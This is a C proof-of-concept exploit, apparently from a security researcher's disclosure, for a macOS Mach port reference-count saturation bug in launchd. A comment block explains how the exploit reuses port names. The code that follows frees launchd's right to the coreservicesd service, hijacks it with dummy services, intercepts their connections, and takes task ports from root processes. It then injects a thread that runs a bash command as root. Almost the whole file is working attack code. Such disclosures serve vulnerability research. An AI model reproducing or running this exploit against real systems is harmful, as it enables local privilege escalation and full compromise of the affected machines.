// ianbeer // build: clang -o service_mitm service_mitm.c #if 0 Exploit for the urefs saturation bug The challenge to exploiting this bug is getting the exact same port name reused in an interesting way. This requires us to dig in a bit to exacly what a port name is, how they're allocated and under what circumstances they'll be reused. Mach ports are stored in a flat array of ipc_entrys: struct ipc_entry { struct ipc_object *ie_object; ipc_entry_bits_t ie_bits; mach_port_index_t ie_index; union { mach_port_index_t next; /* next in freelist, or... */ ipc_table_index_t request; /* dead name request notify */ } index; }; mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused the generation number is incremented. There are 64 generations, so after an entry has been reallocated 64 times it will have the same generation number. The generation number is checked in ipc_entry_lookup: if (index < space->is_table_size) { entry = &space->is_table[index]; if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) || IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE) entry = IE_NULL; } here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name. Entry allocation: The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will be grown. The table is never shrunk. Reliably looping mach port names: To exploit this bug we need a primitive that allows us to loop a mach port's generation number around. After triggering the urefs bug to free the target mach port name in the target process we immediately send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently freed it will be at the head of the freelist and will be reused to name the first of the ool ports contained in the message (but with an incremented generation number.) Since this message is not expected by the service (in this case we send an invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the freed port was reused to name the first ool port it will be the first to be freed. This will push the name N entries down the freelist. We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry in the table is allocated it will have exactly the same mach port name as the original target right we triggered the urefs bug on. For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has. I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the looper messages to spin the generation number round. I then register a large number of dummy services with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has. Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right to one of my dummy services :) I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :) The whole flow seems to work about 50% of the time. #endif #include #include #include #include #include #include #include #include void run_command(mach_port_t target_task, char* command) { kern_return_t err; size_t command_length = strlen(command) + 1; size_t command_page_length = ((command_length + 0xfff) >> 12) << 12; command_page_length += 1; // for the stack // allocate some memory in the task mach_vm_address_t command_addr = 0; err = mach_vm_allocate(target_task, &command_addr, command_page_length, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { printf("mach_vm_allocate: %s\n", mach_error_string(err)); return; } printf("allocated command at %llx\n", command_addr); uint64_t bin_bash = command_addr; uint64_t dash_c = command_addr + 0x10; uint64_t cmd = command_addr + 0x20; uint64_t argv = command_addr + 0x800; uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0}; err = mach_vm_write(target_task, bin_bash, (mach_vm_offset_t)"/bin/bash", strlen("/bin/bash") + 1); err = mach_vm_write(target_task, dash_c, (mach_vm_offset_t)"-c", strlen("-c") + 1); err = mach_vm_write(target_task, cmd, (mach_vm_offset_t)command, strlen(command) + 1); err = mach_vm_write(target_task, argv, (mach_vm_offset_t)argv_contents, sizeof(argv_contents)); if (err != KERN_SUCCESS) { printf("mach_vm_write: %s\n", mach_error_string(err)); return; } // create a new thread: mach_port_t new_thread = MACH_PORT_NULL; x86_thread_state64_t state; mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT; memset(&state, 0, sizeof(state)); // the minimal register state we require: state.__rip = (uint64_t)execve; state.__rdi = (uint64_t)bin_bash; state.__rsi = (uint64_t)argv; state.__rdx = (uint64_t)0; err = thread_create_running(target_task, x86_THREAD_STATE64, (thread_state_t)&state, stateCount, &new_thread); if (err != KERN_SUCCESS) { printf("thread_create_running: %s\n", mach_error_string(err)); return; } printf("done?\n"); } mach_port_t lookup(char* name) { mach_port_t service_port = MACH_PORT_NULL; kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port); if(err != KERN_SUCCESS){ printf("unable to look up %s\n", name); return MACH_PORT_NULL; } if (service_port == MACH_PORT_NULL) { printf("bad service port\n"); return MACH_PORT_NULL; } return service_port; } /* host_service is the service which is hosting the port we want to free (eg the bootstrap port) target_port is a send-right to the port we want to get free'd in the host service (eg another service port in launchd) */ struct ool_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; }; // this msgh_id is an XPC message uint32_t msgh_id_to_get_destroyed = 0x10000000; void do_free(mach_port_t host_service, mach_port_t target_port) { kern_return_t err; int port_count = 0x10000; mach_port_t* ports = malloc(port_count * sizeof(mach_port_t)); for (int i = 0; i < port_count; i++) { ports[i] = target_port; } // build the message to free the target port name struct ool_msg* free_msg = malloc(sizeof(struct ool_msg)); memset(free_msg, 0, sizeof(struct ool_msg)); free_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); free_msg->hdr.msgh_size = sizeof(struct ool_msg); free_msg->hdr.msgh_remote_port = host_service; free_msg->hdr.msgh_local_port = MACH_PORT_NULL; free_msg->hdr.msgh_id = msgh_id_to_get_destroyed; free_msg->body.msgh_descriptor_count = 1; free_msg->ool_ports.address = ports; free_msg->ool_ports.count = port_count; free_msg->ool_ports.deallocate = 0; free_msg->ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND; free_msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; free_msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; // send the free message err = mach_msg(&free_msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(struct ool_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("free message: %s\n", mach_error_string(err)); } void send_looper(mach_port_t service, mach_port_t* ports, uint32_t n_ports, int disposition) { kern_return_t err; struct ool_msg msg = {0}; msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; msg.hdr.msgh_size = sizeof(msg); msg.hdr.msgh_remote_port = service; msg.hdr.msgh_local_port = MACH_PORT_NULL; msg.hdr.msgh_id = msgh_id_to_get_destroyed; msg.body.msgh_descriptor_count = 1; msg.ool_ports.address = (void*)ports; msg.ool_ports.count = n_ports; msg.ool_ports.disposition = disposition; msg.ool_ports.deallocate = 0; msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; err = mach_msg(&msg.hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(struct ool_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("sending looper: %s\n", mach_error_string(err)); // need to wait a little bit since we don't send a reply port and don't want to fill the queue usleep(100); } mach_port_right_t right_fixup(mach_port_right_t in) { switch (in) { case MACH_MSG_TYPE_PORT_SEND: return MACH_MSG_TYPE_MOVE_SEND; case MACH_MSG_TYPE_PORT_SEND_ONCE: return MACH_MSG_TYPE_MOVE_SEND_ONCE; case MACH_MSG_TYPE_PORT_RECEIVE: return MACH_MSG_TYPE_MOVE_RECEIVE; default: return 0; // no rights } } int ran_command = 0; void inspect_port(mach_port_t port) { pid_t pid = 0; pid_for_task(port, &pid); if (pid != 0) { printf("got task port for pid: %d\n", pid); } // find the uid int proc_err; struct proc_bsdshortinfo info = {0}; proc_err = proc_pidinfo(pid, PROC_PIDT_SHORTBSDINFO, 0, &info, sizeof(info)); if (proc_err <= 0) { // fail printf("proc_pidinfo failed\n"); return; } if (info.pbsi_uid == 0) { printf("got r00t!! ******************\n"); printf("(via task port for: %s)\n", info.pbsi_comm); if (!ran_command) { run_command(port, "echo hello > /tmp/hello_from_root"); ran_command = 1; } } return; } /* implements the mitm replacer_portset contains receive rights for all the ports we send to launchd to replace the real service port real_service_port is a send-right to the actual service receive messages on replacer_portset, inspect them, then fix them up and send them along to the real service */ void do_service_mitm(mach_port_t real_service_port, mach_port_t replacer_portset) { size_t max_request_size = 0x10000; mach_msg_header_t* request = malloc(max_request_size); for(;;) { memset(request, 0, max_request_size); kern_return_t err = mach_msg(request, MACH_RCV_MSG | MACH_RCV_LARGE, // leave larger messages in the queue 0, max_request_size, replacer_portset, 0, 0); if (err == MACH_RCV_TOO_LARGE) { // bump up the buffer size mach_msg_size_t new_size = request->msgh_size + 0x1000; request = realloc(request, new_size); // try to receive again continue; } if (err != KERN_SUCCESS) { printf("error receiving on port set: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } printf("got a request, fixing it up...\n"); // fix up the message such that it can be forwarded: // get the rights we were sent for each port the header mach_port_right_t remote = MACH_MSGH_BITS_REMOTE(request->msgh_bits); mach_port_right_t voucher = MACH_MSGH_BITS_VOUCHER(request->msgh_bits); // fixup the header ports: // swap the remote port we received into the local port we'll forward // this means we're only mitm'ing in one direction - we could also // intercept these replies if necessary request->msgh_local_port = request->msgh_remote_port; request->msgh_remote_port = real_service_port; // voucher port stays the same int is_complex = MACH_MSGH_BITS_IS_COMPLEX(request->msgh_bits); // (remote, local, voucher) request->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, right_fixup(remote), right_fixup(voucher)); if (is_complex) { request->msgh_bits |= MACH_MSGH_BITS_COMPLEX; // if it's complex we also need to fixup all the descriptors... mach_msg_body_t* body = (mach_msg_body_t*)(request+1); mach_msg_type_descriptor_t* desc = (mach_msg_type_descriptor_t*)(body+1); for (mach_msg_size_t i = 0; i < body->msgh_descriptor_count; i++) { switch (desc->type) { case MACH_MSG_PORT_DESCRIPTOR: { mach_msg_port_descriptor_t* port_desc = (mach_msg_port_descriptor_t*)desc; inspect_port(port_desc->name); port_desc->disposition = right_fixup(port_desc->disposition); desc = (mach_msg_type_descriptor_t*)(port_desc+1); break; } case MACH_MSG_OOL_DESCRIPTOR: { mach_msg_ool_descriptor_t* ool_desc = (mach_msg_ool_descriptor_t*)desc; // make sure that deallocate is true; we don't want to keep this memory: ool_desc->deallocate = 1; desc = (mach_msg_type_descriptor_t*)(ool_desc+1); break; } case MACH_MSG_OOL_VOLATILE_DESCRIPTOR: case MACH_MSG_OOL_PORTS_DESCRIPTOR: { mach_msg_ool_ports_descriptor_t* ool_ports_desc = (mach_msg_ool_ports_descriptor_t*)desc; // make sure that deallocate is true: ool_ports_desc->deallocate = 1; ool_ports_desc->disposition = right_fixup(ool_ports_desc->disposition); desc = (mach_msg_type_descriptor_t*)(ool_ports_desc+1); break; } } } } printf("fixed up request, forwarding it\n"); // forward the message: err = mach_msg(request, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, request->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("error forwarding service message: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } } } void lookup_and_ping_service(char* name) { mach_port_t service_port = lookup(name); if (service_port == MACH_PORT_NULL) { printf("failed too lookup %s\n", name); return; } // send a ping message to make sure the service actually gets launched: kern_return_t err; mach_msg_header_t basic_msg; basic_msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); basic_msg.msgh_size = sizeof(basic_msg); basic_msg.msgh_remote_port = service_port; basic_msg.msgh_local_port = MACH_PORT_NULL; basic_msg.msgh_reserved = 0; basic_msg.msgh_id = 0x41414141; err = mach_msg(&basic_msg, MACH_SEND_MSG, sizeof(basic_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("failed to send ping message to service %s (err: %s)\n", name, mach_error_string(err)); return; } printf("pinged %s\n", name); } void* do_lookups(void* arg) { lookup_and_ping_service("com.apple.storeaccountd"); lookup_and_ping_service("com.apple.hidfud"); lookup_and_ping_service("com.apple.netauth.sys.gui"); lookup_and_ping_service("com.apple.netauth.user.gui"); lookup_and_ping_service("com.apple.avbdeviced"); return NULL; } void start_root_lookups_thread() { pthread_t thread; pthread_create(&thread, NULL, do_lookups, NULL); } char* default_target_service_name = "com.apple.CoreServices.coreservicesd"; int main(int argc, char** argv) { char* target_service_name = default_target_service_name; if (argc > 1) { target_service_name = argv[1]; } // allocate the receive rights which we will try to replace the service with: // (we'll also use them to loop the mach port name in the target) size_t n_ports = 0x1000; mach_port_t* ports = calloc(sizeof(void*), n_ports); for (int i = 0; i < n_ports; i++) { kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]); if (err != KERN_SUCCESS) { printf("failed to allocate port: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } err = mach_port_insert_right(mach_task_self(), ports[i], ports[i], MACH_MSG_TYPE_MAKE_SEND); if (err != KERN_SUCCESS) { printf("failed to insert send right: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } } // generate some service names we can use: char** names = calloc(sizeof(char*), n_ports); for (int i = 0; i < n_ports; i++) { char name[64]; sprintf(name, "replacer.%d", i); names[i] = strdup(name); } // lookup a send right to the target to be replaced mach_port_t target_service = lookup(target_service_name); // free the target in launchd do_free(bootstrap_port, target_service); // send one smaller looper message to push the free'd name down the free list: send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND); // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist for (int i = 0; i < 62; i++) { send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND); } // now that the name should have looped round (and still be near the middle of the freelist // try to replace it by registering a lot of new services for (int i = 0; i < n_ports; i++) { kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]); if (err != KERN_SUCCESS) { printf("failed to register service %d, continuing anyway...\n", i); } } // add all those receive rights to a port set: mach_port_t ps; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps); for (int i = 0; i < n_ports; i++) { mach_port_move_member(mach_task_self(), ports[i], ps); } start_root_lookups_thread(); do_service_mitm(target_service, ps); return 0; }